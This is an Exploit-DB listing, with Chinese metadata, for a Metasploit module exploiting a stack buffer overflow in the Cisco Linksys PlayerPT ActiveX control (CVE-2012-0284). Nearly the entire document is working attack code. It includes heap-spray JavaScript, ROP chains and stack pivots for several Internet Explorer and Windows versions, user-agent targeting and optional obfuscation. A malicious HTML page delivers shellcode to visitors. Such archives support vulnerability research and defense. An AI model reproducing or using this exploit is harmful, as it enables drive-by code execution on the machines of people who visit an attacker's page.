标题: Cisco Linksys PlayerPT - ActiveX Control SetSource sURL argument Buffer Overflow (Metasploit) EDB-ID: 20202 CVE: 2012-0284 类型: REMOTE 平台: WINDOWS 发布日期: 2012-08-03 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh
 include Msf::Exploit::Remote::BrowserAutopwn

 autopwn_info({
  :ua_name    => HttpClients::IE,
  :ua_minver  => "6.0",
  :ua_maxver  => "9.0",
  :javascript => true,
  :os_name    => OperatingSystems::WINDOWS,
  :classid    => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
  :method     => "SetSource",
  :rank       => NormalRanking
 })


 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
    as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
    Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
    the SetSource method, when handling a specially crafted sURL argument, allows to
    trigger a stack based buffer overflow which leads to code execution under the
    context of the user visiting a malicious web page.
   },
   'Author'         =>
    [
     'Carsten Eiram', # Vuln discovery
     'juan' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-0284' ],
     [ 'BID', '54588' ],
     [ 'URL', 'http://secunia.com/secunia_research/2012-25/' ],

    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',

    },
   'Payload'        =>
    {
     'Space' => 1024,
     'DisableNops' => true,
    },
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ],
     [
      'IE 6 on Windows XP SP3',
      {
       'SprayBlocks' => 0x185,
       'SprayOffset' => '0x0',
       'Ret' => 0x0c0c0c0c,
       'Rop' => nil,
       'RandomHeap' => false
      }
     ],
     [
      'IE 7 on Windows XP SP3 / Windows Vista SP2',
      {
       'SprayBlocks' => 0x185,
       'SprayOffset' => '0x0',
       'Ret' => 0x0c0c0c0c,
       'Rop' => nil,
       'RandomHeap' => false
      }
     ],
     [
      'IE 8 on Windows XP SP3',
      {
       'SprayBlocks' => 0x185,
       'SprayOffset' => '0x0',
       'Ret' => 0x77c3546b, # ret from msvcrt
       'StackPivot_1' => 0x77c3546a, # pop ebp; ret from msvcrt
       'StackPivot_2' => 0x77c35468, # mov esp,ebp; pop ebp; ret from msvcrt
       'Rop' => :msvcrt,
       'RopChainOffset' => '0x5f4',
       'RandomHeap' => false
      }
     ],
     [
      'IE 8 with Java 6 on Windows XP SP3',
      {
       'SprayBlocks' => 0x185,
       'SprayOffset' => '0x0',
       'Ret' => 0x7c3424f2, # ret from msvcr71.dll
       'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
       'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
       'Rop' => :jre,
       'RopChainOffset' => '0x5f4',
       'RandomHeap' => false
      }
     ],
     [
      'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
      {
       'SprayBlocks' => 0x185,
       'SprayOffset' => '0x0',
       'Ret' => 0x7c3424f2, # ret from msvcr71.dll
       'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
       'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
       'Rop' => :jre,
       'RopChainOffset' => '0x5f4',
       'RandomHeap' => false
      }
     ],
     [
      'IE 9 with Java 6 on Windows 7 SP1',
      {
       'SprayBlocks' => 0x1000,
       'SprayOffset' => '0x0',
       'Ret' => 0x7c3424f2, # ret from msvcr71.dll
       'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
       'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
       'Rop' => :jre,
       'RopChainOffset' => '0x5fe',
       'RandomHeap' => true,
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jul 17 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
   ], self.class
  )

 end

 def get_easy_spray(t, js_code, js_nops)

  spray = <<-JS
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");

  while (nops.length < 0x80000) nops += nops;

  var offset = nops.substring(0, #{t['SprayOffset']});
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);

  heap_obj.gc();
  for (var z=1; z < #{t['SprayBlocks']}; z++) {
   heap_obj.alloc(block);
  }

  JS

  return spray

 end

 def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)

  spray = <<-JS

  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");
  var nops_90 = unescape("#{js_90_nops}");
  var rop_chain = unescape("#{js_rop}");

  while (nops.length < 0x80000) nops += nops;
  while (nops_90.length < 0x80000) nops_90 += nops_90;

  var offset = nops.substring(0, #{t['SprayOffset']});
  var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
  var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);


  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);


  heap_obj.gc();
  for (var z=1; z < #{t['SprayBlocks']}; z++) {
   heap_obj.alloc(block);
  }

  JS

  return spray

 end

 # Spray published by corelanc0d3r
 # Exploit writing tutorial part 11 : Heap Spraying Demystified
 # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
 def get_random_spray(t, js_rop, js_code, js_90_nops)

  spray = <<-JS

  function randomblock(blocksize)
  {
   var theblock = "";
   for (var i = 0; i < blocksize; i++)
   {
    theblock += Math.floor(Math.random()*90)+10;
   }
   return theblock;
  }

  function tounescape(block)
  {
   var blocklen = block.length;
   var unescapestr = "";
   for (var i = 0; i < blocklen-1; i=i+4)
   {
    unescapestr += "%u" + block.substring(i,i+4);
   }
   return unescapestr;
  }

  var heap_obj = new heapLib.ie(0x10000);

  var rop = unescape("#{js_rop}");
  var code = unescape("#{js_code}");
  var nops_90 = unescape("#{js_90_nops}");

  while (nops_90.length < 0x80000) nops_90 += nops_90;

  var offset_length = #{t['RopChainOffset']};

  for (var i=0; i <  #{t['SprayBlocks']}; i++) {
   var padding = unescape(tounescape(randomblock(0x1000)));
   while (padding.length < 0x1000) padding+= padding;
   var junk_offset = padding.substring(0, offset_length - code.length);
   var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
   while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
   sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
   heap_obj.alloc(sprayblock);
  }

  JS

  return spray
 end


 def junk(n=4)
  return rand_text_alpha(n).unpack("V").first
 end

 def nop
  return make_nops(4).unpack("V").first
 end

 def get_stack_pivot(t)
  stack_pivot = [
   junk,
   junk,
   junk,
   junk,
   junk,
   t['StackPivot_1'], # pop ebp # ret # ESP points here after controlling EIP with overflow
   0x0c0c0c08,        # ebp
   t['StackPivot_2']  # mov esp,ebp # pop ebp # ret
  ].pack("V*")

  return stack_pivot
 end

 def get_rop_chain(t)

  # Both ROP chains generated by mona.py - See corelan.be
  case t['Rop']
   when :msvcrt
    print_status("Using msvcrt ROP")
    rop =
     [
      0x77C21891,  # POP ESI # RETN
      0x0c0c0c04,  # ESI
      0x77c4e392,  # POP EAX # RETN
      0x77c11120,  # <- *&VirtualProtect()
      0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
      junk,
      0x77c2dd6c,  # XCHG EAX,ESI # ADD BYTE PTR [EAX],AL # RETN
      0x77c4ec00,  # POP EBP # RETN
      0x77c35459,  # ptr to 'push esp #  ret'
      0x77c47705,  # POP EBX # RETN
      0x00001000,  # EBX
      0x77c3ea01,  # POP ECX # RETN
      0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
      0x77c46100,  # POP EDI # RETN
      0x77c46101,  # ROP NOP (-> edi)
      0x77c4d680,  # POP EDX # RETN
      0x00000040,  # newProtect (0x40) (-> edx)
      0x77c4e392,  # POP EAX # RETN
      nop,         # NOPS (-> eax)
      0x77c12df9,  # PUSHAD # RETN
     ].pack("V*")

   when :jre
    print_status("Using JRE ROP")
    rop =
     [
      0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
      0x00001000,  # (dwSize)
      0x7c347f98,  # RETN (ROP NOP)
      0x7c3415a2,  # JMP [EAX]
      0xffffffff,
      0x7c376402,  # skip 4 bytes
      0x7c345255,  # INC EBX # FPATAN # RETN
      0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
      0x7c344f87,  # POP EDX # RETN
      0x00000040,  # flNewProtect
      0x7c34d201,  # POP ECX # RETN
      0x7c38b001,  # &Writable location
      0x7c347f97,  # POP EAX # RETN
      0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
      0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
      0x7c345c30,  # ptr to 'push esp #  ret '
     ].pack("V*")
  end

  return rop
 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
   return targets[1]  #IE 6 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
   return targets[2]  #IE 7 on Windows XP SP3
  elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
   return targets[2]  #IE 7 on Windows Vista SP2
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
   return targets[3]  #IE 8 on Windows XP SP3
  elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
   return targets[5]  #IE 8 on Windows 7 SP1/Vista SP2
  elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
   return targets[6]  #IE 9 on Windows 7 SP1
  else
   return nil
  end
 end

 def on_request_uri(cli, request)

  agent = request.headers['User-Agent']
  print_status("User-agent: #{agent}")

  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have a setup we're targeting
  if my_target.nil?
   print_error("Browser not supported: #{agent}")
   send_not_found(cli)
   return
  end

  p = payload.encoded
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

  if not my_target['Rop'].nil?
   js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
  end

  js = ""

  if my_target['RandomHeap']
   js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
  elsif not my_target['Rop'].nil?
   js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
  else
   js = get_easy_spray(my_target, js_code, js_nops)
  end

  js = heaplib(js, {:noobfu => true})

  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
  end

  sploit = "http://"
  sploit << "\x0c" * 261
  sploit << [my_target.ret].pack("V")
  if not my_target['Rop'].nil?
   sploit << get_stack_pivot(my_target)
  end
  sploit << "/img/video.asf"

  html = <<-MYHTML
  <html>
  <head>
  <script>
  #{js}
  </script>
  </head>
  <body>
  <object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>
  <script>
   obj.SetSource("#{sploit}","mpeg","","","");
  </script>
  </body>
  </html>
  MYHTML

  html = html.gsub(/^\t\t/, '')

  print_status("Sending html")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end
end URL: https://www.exploit-db.com/exploits/20202